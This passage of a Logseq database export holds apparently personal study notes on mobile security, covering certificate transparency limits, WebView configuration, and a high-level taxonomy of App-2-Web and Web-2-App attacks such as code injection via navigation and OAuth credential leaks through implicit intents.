logseq____&quot;],536876979]],[logseq____&quot;^15logseq____&quot;,[789,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3dba-8313-456a-ba81-7200501df28flogseq____&quot;,536876972]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Does not precent certificate misuse (only minizes effect)logseq____&quot;,536877001]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876982]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^@logseq____&quot;,false,536876982]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^Flogseq____&quot;,789,536876982]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^Xlogseq____&quot;,765,536876982]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^Vlogseq____&quot;,785,536876982]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^Ulogseq____&quot;,765,536876983]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877001]],[logseq____&quot;^15logseq____&quot;,[790,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3dd5-74e7-48b2-b52a-c80961df8bcdlogseq____&quot;,536876982]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Bears privacy issues of publicly available logslogseq____&quot;,536877014]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877004]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^@logseq____&quot;,false,536877004]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^Flogseq____&quot;,790,536877004]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^Xlogseq____&quot;,765,536877004]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^Vlogseq____&quot;,785,536877004]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^Ulogseq____&quot;,765,536877005]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877014]],[logseq____&quot;^15logseq____&quot;,[791,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3e55-9186-4db1-b3c6-e4fa493de9cflogseq____&quot;,536877004]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;logseq____&quot;,536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^@logseq____&quot;,false,536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^Flogseq____&quot;,791,536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^Xlogseq____&quot;,765,536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^Vlogseq____&quot;,785,536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^Ulogseq____&quot;,765,536877015]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877014]],[logseq____&quot;^15logseq____&quot;,[792,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3e61-dcd6-45c0-a75a-dbbe5d4155eelogseq____&quot;,536877014]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[WebViews]]logseq____&quot;,536877065]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877058]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^@logseq____&quot;,false,536877058]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Flogseq____&quot;,764,536877058]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Xlogseq____&quot;,296,536877058]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Vlogseq____&quot;,690,536877058]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Ulogseq____&quot;,296,536877066]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Ulogseq____&quot;,796,536877066]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^Hlogseq____&quot;,796,536878163]],[logseq____&quot;^15logseq____&quot;,[795,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3f23-ccbe-4591-a690-d114c8032c36logseq____&quot;,536877058]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^Klogseq____&quot;,1740324648314,536877065]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877073]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^@logseq____&quot;,false,536877065]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;webviewslogseq____&quot;,536877065]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^11logseq____&quot;,logseq____&quot;WebViewslogseq____&quot;,536877065]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^Blogseq____&quot;,1740327999803,536877805]],[logseq____&quot;^15logseq____&quot;,[796,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-441f-4f6b-abb3-680df0011c2blogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[DeepLinks/AppLinks]]logseq____&quot;,536877808]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877067]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^@logseq____&quot;,false,536877067]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Flogseq____&quot;,795,536877067]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Xlogseq____&quot;,296,536877067]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Vlogseq____&quot;,690,536877067]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Ulogseq____&quot;,296,536877809]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Ulogseq____&quot;,833,536877809]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Ulogseq____&quot;,834,536877809]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Hlogseq____&quot;,833,536878163]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^Hlogseq____&quot;,834,536878163]],[logseq____&quot;^15logseq____&quot;,[797,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3f28-a644-4926-afeb-e73af09624d4logseq____&quot;,536877067]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536877077]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877074]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^@logseq____&quot;,false,536877074]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Flogseq____&quot;,796,536877074]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Xlogseq____&quot;,796,536877074]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Vlogseq____&quot;,796,536877074]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Ulogseq____&quot;,796,536877075]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536877077]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877077]],[logseq____&quot;^15logseq____&quot;,[798,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3f29-fc3d-4ed0-a3c6-d78c9d5dde11logseq____&quot;,536877074]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Used to integrate websites into appslogseq____&quot;,536877097]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877077]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^@logseq____&quot;,false,536877077]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^Flogseq____&quot;,798,536877077]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^Xlogseq____&quot;,796,536877077]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^Vlogseq____&quot;,798,536877079]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^Ulogseq____&quot;,796,536877078]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877097]],[logseq____&quot;^15logseq____&quot;,[799,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3f51-4aec-4a56-8aec-dd93204a7a87logseq____&quot;,536877077]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Developer needs to provide error handlers in `WebViewClient` to abort loading untrusted contentlogseq____&quot;,536877123]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877097]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^@logseq____&quot;,false,536877097]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^Flogseq____&quot;,799,536877097]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^Xlogseq____&quot;,796,536877097]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^Vlogseq____&quot;,798,536877097]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^Ulogseq____&quot;,796,536877098]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877123]],[logseq____&quot;^15logseq____&quot;,[801,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3f5d-1014-47f5-a236-382f0922e76blogseq____&quot;,536877097]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Did not support certificate pinning (Now app-wide \\logseq____&quot;Network Security Config\\logseq____&quot; includes WebViews)logseq____&quot;,536877161]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877119]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^@logseq____&quot;,false,536877119]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^Flogseq____&quot;,801,536877119]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^Xlogseq____&quot;,796,536877119]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^Vlogseq____&quot;,798,536877119]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^Ulogseq____&quot;,796,536877120]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877161]],[logseq____&quot;^15logseq____&quot;,[802,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb3f93-1860-4337-a84c-0f1b68192c69logseq____&quot;,536877119]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;JavaScript disabled by defaultlogseq____&quot;,536877221]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877132]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^@logseq____&quot;,false,536877132]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^Flogseq____&quot;,804,536877167]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^Xlogseq____&quot;,796,536877132]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^Vlogseq____&quot;,804,536877167]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^Ulogseq____&quot;,796,536877212]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877221]],[logseq____&quot;^15logseq____&quot;,[803,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4257-7ae3-4725-adbc-2b058fb79827logseq____&quot;,536877132]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Web-2-App/App-2-Web Attackslogseq____&quot;,536877211]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877161]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^@logseq____&quot;,false,536877161]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Flogseq____&quot;,798,536877167]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Xlogseq____&quot;,796,536877161]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Vlogseq____&quot;,796,536877167]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Ulogseq____&quot;,796,536877162]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536877211]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877211]],[logseq____&quot;^15logseq____&quot;,[804,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4279-50c2-40ef-9a63-0b2c3c221805logseq____&quot;,536877161]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Opting into JavaScript via customization (JavaScript bridge is exposed globally to all loaded content)logseq____&quot;,536877363]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877221]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^@logseq____&quot;,false,536877221]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^Flogseq____&quot;,803,536877221]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^Xlogseq____&quot;,796,536877221]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^Vlogseq____&quot;,804,536877221]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^Ulogseq____&quot;,796,536877222]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877363]],[logseq____&quot;^15logseq____&quot;,[805,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb42c4-eb09-4bf8-a52a-87e4cfe81979logseq____&quot;,536877221]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attack possibilities from web content to app and vice versalogseq____&quot;,536877253]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877234]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^@logseq____&quot;,false,536877234]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^Flogseq____&quot;,805,536877234]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^Xlogseq____&quot;,796,536877234]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^Vlogseq____&quot;,804,536877234]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^Ulogseq____&quot;,796,536877235]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877253]],[logseq____&quot;^15logseq____&quot;,[806,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb42e5-e293-4208-9d6c-69a67c975516logseq____&quot;,536877234]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### App-2-Weblogseq____&quot;,536877302]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877253]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^@logseq____&quot;,false,536877253]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Flogseq____&quot;,806,536877253]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Xlogseq____&quot;,796,536877253]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Vlogseq____&quot;,804,536877253]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Ulogseq____&quot;,796,536877254]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536877302]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877302]],[logseq____&quot;^15logseq____&quot;,[807,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb42fb-c178-428d-947f-7d895b0be8cclogseq____&quot;,536877253]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Malicious app embedds benign websitelogseq____&quot;,536877285]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877266]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^@logseq____&quot;,false,536877266]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^Flogseq____&quot;,807,536877266]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^Xlogseq____&quot;,796,536877266]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^Vlogseq____&quot;,807,536877270]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^Ulogseq____&quot;,796,536877303]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877285]],[logseq____&quot;^15logseq____&quot;,[808,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb430b-5a2c-4581-bb57-090d8df80883logseq____&quot;,536877266]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Web-2-Applogseq____&quot;,536877295]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877286]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^@logseq____&quot;,false,536877286]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Flogseq____&quot;,807,536877288]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Xlogseq____&quot;,796,536877286]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Vlogseq____&quot;,804,536877288]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Ulogseq____&quot;,796,536877287]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536877295]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536877295]],[logseq____&quot;^15logseq____&quot;,[809,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4314-9926-4e60-92b5-e01d614ae888logseq____&quot;,536877286]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Bening app includes malicious website and malicious serverlogseq____&quot;,536877322]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877306]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^@logseq____&quot;,false,536877306]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^Flogseq____&quot;,809,536877306]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^Xlogseq____&quot;,796,536877306]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^Vlogseq____&quot;,809,536877313]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^Ulogseq____&quot;,796,536877307]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877322]],[logseq____&quot;^15logseq____&quot;,[810,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb431e-da44-45ce-964c-4ffdde646171logseq____&quot;,536877306]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Bening app includes bening website turned maliciouslogseq____&quot;,536877332]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877322]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^@logseq____&quot;,false,536877322]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^Flogseq____&quot;,810,536877322]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^Xlogseq____&quot;,796,536877322]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^Vlogseq____&quot;,809,536877322]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^Ulogseq____&quot;,796,536877323]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877332]],[logseq____&quot;^15logseq____&quot;,[811,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4338-fe66-4581-8692-054d8d32c0e2logseq____&quot;,536877322]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Bening app includes bening website turned malicious with compromised web serverlogseq____&quot;,536877345]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877335]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^@logseq____&quot;,false,536877335]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^Flogseq____&quot;,811,536877335]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^Xlogseq____&quot;,796,536877335]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^Vlogseq____&quot;,809,536877335]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^Ulogseq____&quot;,796,536877336]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877345]],[logseq____&quot;^15logseq____&quot;,[812,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4346-714d-4d14-9fda-37e7539dd7aalogseq____&quot;,536877335]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Inject code via links or navigations inside WebView, make use of iframes, improper [[SSL / TLS]] or local resourceslogseq____&quot;,536877421]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877366]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^@logseq____&quot;,false,536877366]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Flogseq____&quot;,812,536877366]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Xlogseq____&quot;,796,536877366]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Vlogseq____&quot;,809,536877366]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Ulogseq____&quot;,765,536877408]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Ulogseq____&quot;,766,536877408]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Ulogseq____&quot;,796,536877408]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877421]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Hlogseq____&quot;,765,536877421]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^Hlogseq____&quot;,766,536877421]],[logseq____&quot;^15logseq____&quot;,[813,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb43ba-77d7-4527-8347-be49c97885b9logseq____&quot;,536877366]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;If host app has privileges, e.g., camera/microphone access, embedded WebView also can request accesslogseq____&quot;,536877448]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877409]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^@logseq____&quot;,false,536877409]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^Flogseq____&quot;,813,536877409]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^Xlogseq____&quot;,796,536877409]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^Vlogseq____&quot;,809,536877409]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^Ulogseq____&quot;,796,536877410]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877448]],[logseq____&quot;^15logseq____&quot;,[814,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb43f1-a4a8-4955-aed0-54bc32258e11logseq____&quot;,536877409]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Starting Intents in `shouldOverrideUrlLoading` can cause problems, if scheme is not `HTTP`, i.e., applications registered for particular scheme would be invokedlogseq____&quot;,536877497]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877451]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^@logseq____&quot;,false,536877451]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^Flogseq____&quot;,814,536877451]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^Xlogseq____&quot;,796,536877451]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^Vlogseq____&quot;,809,536877451]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^Ulogseq____&quot;,796,536877452]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877497]],[logseq____&quot;^15logseq____&quot;,[815,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb45c7-004e-446e-b24d-fa03ec700f72logseq____&quot;,536877451]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attack vulnerable SDK versionslogseq____&quot;,536877520]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536877500]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^@logseq____&quot;,false,536877500]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^Flogseq____&quot;,815,536877500]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^Xlogseq____&quot;,796,536877500]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^Vlogseq____&quot;,815,536877502]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^Ulogseq____&quot;,796,536877501]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536877520]],[logseq____&quot;^15logseq____&quot;,[816,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb4673-528f-418f-9b7c-e2af472bdfbelogseq____&quot;,536877500]],[logseq____&quot;^15logseq____&quot;,[817,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Leak OAuth credentials if sent via Implicit Intent from 